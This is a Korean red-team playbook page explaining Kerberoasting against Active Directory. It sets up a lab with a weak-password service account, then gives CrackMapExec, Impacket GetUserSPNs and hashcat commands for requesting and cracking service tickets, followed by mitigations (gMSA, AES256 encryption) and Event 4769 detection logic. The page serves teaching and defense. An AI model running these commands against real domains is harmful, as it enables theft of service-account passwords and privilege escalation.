📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • 개념
  • 환경 준비
  • 공격
  • 브루트포스와 TGS 복호화
  • 대응 방안
  • 탐지 방안
  • 레퍼런스
  1. 계정 정보 탈취 (Credential Access)
  2. 커버로스

커버로스팅 (Kerberoasting)

MITRE ATTACK - T1558.003

커버로스팅은 2014년도 DerbyCon 컨퍼런스에서 Tim Medin 이 발표한 액티브 디렉토리 포스트 익스플로잇 도메인 권한 상승 공격이다.

커버로스는 기본적으로 어떤 도메인 유저던 간에 Service Principal Name (SPN) 특성이 존재하는 서비스 유저를 상대로 한 Service Ticket (서비스 티켓) 을 TGS(Ticket Granting Service)를 통해요청하고 받아낼 수 있다. 커버로스팅은이 서비스 티켓은 서비스 유저의 NTLM 해시로 암호화 되어 있다. 따라서 KRB_TGS_REPTGS 를 받아 서비스 티켓을 추출한 뒤, 이를 메모리상에서 빼내서 오프라인 브루트 포스 공격을 감행해 TGS가 복호화가 된다면 서비스 유저의 비밀번호를 찾아내는 공격이다.

개념

  1. 모든 도메인 유저는 SPN 특성이 존재하는 서비스 유저의 서비스 티켓을 도메인 컨트롤러에게 요청한 뒤 받을 수 있다.

  2. KDC는 공격자가 해당 서비스에 접근 권한이 있는지 없는지 확인하지 않는다. 사용자가 제대로된 TGT를 가지고 있고 서비스 티켓을요청을 한다면, KDC 는 그에 맞는 서비스 티켓을 반환할 뿐이다.

  3. 공격자에게 반환된 TGS는 서비스 유저 계정의 NTLM 해시화된 비밀번호로 RC4-HMAC (혹은 AES256) 암호화가 되어있다. 공격자는 서비스 티켓을 메모리에서 추출한 뒤 브루트포스 공격 혹은 사전 공격을 진행한다. 비밀번호 사전으로 NTLM 해시를 만들고, 그 NTLM 해시로 서비스 티켓을 복호화 하는데 성공한다면 서비스 계정의 비밀번호를 알아낸 것과 다름이 없게된다.

환경 준비

도메인 내에 서비스 유저 계정을 만든 뒤, SPN 특성을 부여해준다.

net user sqladmin Password123! /domain /add 
setspn -A <서비스_이름>/<호스트_FQDN>:<포트> <서비스_계정_이름>

setspn -A MSSQL/dc01.choi.local:31337 sqladmin

공격

다양한 툴로 커버로스팅 공격을 실행한 뒤, 서비스 티켓을 base64+해시 형태로 받아온다. 그 뒤, 브루트포스와 서비스 티켓 복호화 공격을 실행한다.

CrackMapExec (cme) 나 Impacket의 GetUserSPNs.py를 이용

# CrackMapExec
cme ldap 192.168.40.150 -u low -p 'Password123!' -d choi.local --kerberoasting kerberoast.hashes

# CrackMapExec - hash
cme ldap 192.168.40.150 -u low -H <NT해시>--kerberoast kerberoast.hashes 

# Impacket - GetUSersSPNs
impacket-GetUserSPNs -request 'choi.local/low:Password123!' -outputfile kerberoast.hash

# impacket - GetUsersSPNs - hash 
impacket-GetUserSPNs -request 'choi.local/low' -hashes <LM해시>:<NT해시> -outputfile kerberoast.hash

큰 환경에서 커버로스팅 공격을 실행하면 같은 서비스 유저의 TGS가 중복으로 반환될때가 있다. 특정 서비스 유저의 서비스 티켓은 하나의 NTLM 해시로 암호화 되었기 때문에 중복된 TGS를 모두 복호화할 필요는 없다. 하나만 복호화가 되도 유저의 평문 비밀번호를 알아낸 것이다. 따라서 유저의 이름과 도메인을 기반으로 중복 TGS를 지운다.

# 3번째 필드 - 유저 이름을 기반으로 TGS를 지운다. 
cat kerberoast.hashes | sort -u -k 3,3 -k 4,4

브루트포스와 TGS 복호화

hashcat이나 johntheripper를 사용해 NTLM 해시를 만들고, 복호화하는 브루트포스를 실행한다.

.\hashcat.exe -a 0 -m 13100 .\kerberoast.hashes .\rockyou.txt

대응 방안

  1. MSA/gMSA 기능을 사용하지 못할 경우 수동으로 강력한 비밀번호를 설정한다.

  2. 다음의 GPO를 사용해 서비스 티켓 암호화를 약한 RC4-HMAC이 아닌 AES256로 설정한다.

Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network Security: Configure encryption types allowed for Kerberos 

AES256_HMAC_SHA1 설정

탐지 방안

다음의 탐지 방안은 많은 숫자의 로그를 생성할 수 있으니 프로덕션에 적용하기 전 충분한 테스트를 거쳐야한다.

서비스 티켓발급 현황을 로깅하는 다음의 GPO를 설정한다. 이는 Event 4769 - Kerberos Service Ticket was Requested 이벤트를 로깅한다.

Default Domain Controllers Policy/Computer Configuration/Policies/Windows Settings/Security Settings/Advanced Audit Policy Configuration/Audit Policies/Account Logon/Audit Kerberos Service Ticket Operations - Success

이후, 다음의 로직을 기반으로 SOC 알람을 설정한다.

  1. 이벤트 아이디 4769 중 Ticket Encryption Type: 0x17 (RC4-HMAC)이 보인다.

  2. 낮은 권한의 도메인 유저가 빠른 시간 (1~2분) 내에 대량의 0x17 암호화된 TGS를 요청한다.

레퍼런스

Previous커버로스NextAS-Rep Roasting

Last updated 2 years ago

(MSA) 및 (gMSA) 기능을 사용해 자동적으로 강력한 비밀번호가 설정되도록 한다.

(FGPP)를 사용해 서비스 계정에 약한 비밀번호가 설정되는 것을 차단한다.

🎭
Managed Service Account
Group Managed Service Account
Fine-Grained Password Policy
Detecting Kerberoasting ActivityActive Directory Security
Kerberoastinghackndo
Decrypting the Selection of Supported Kerberos Encryption TypesTECHCOMMUNITY.MICROSOFT.COM
Logo
Logo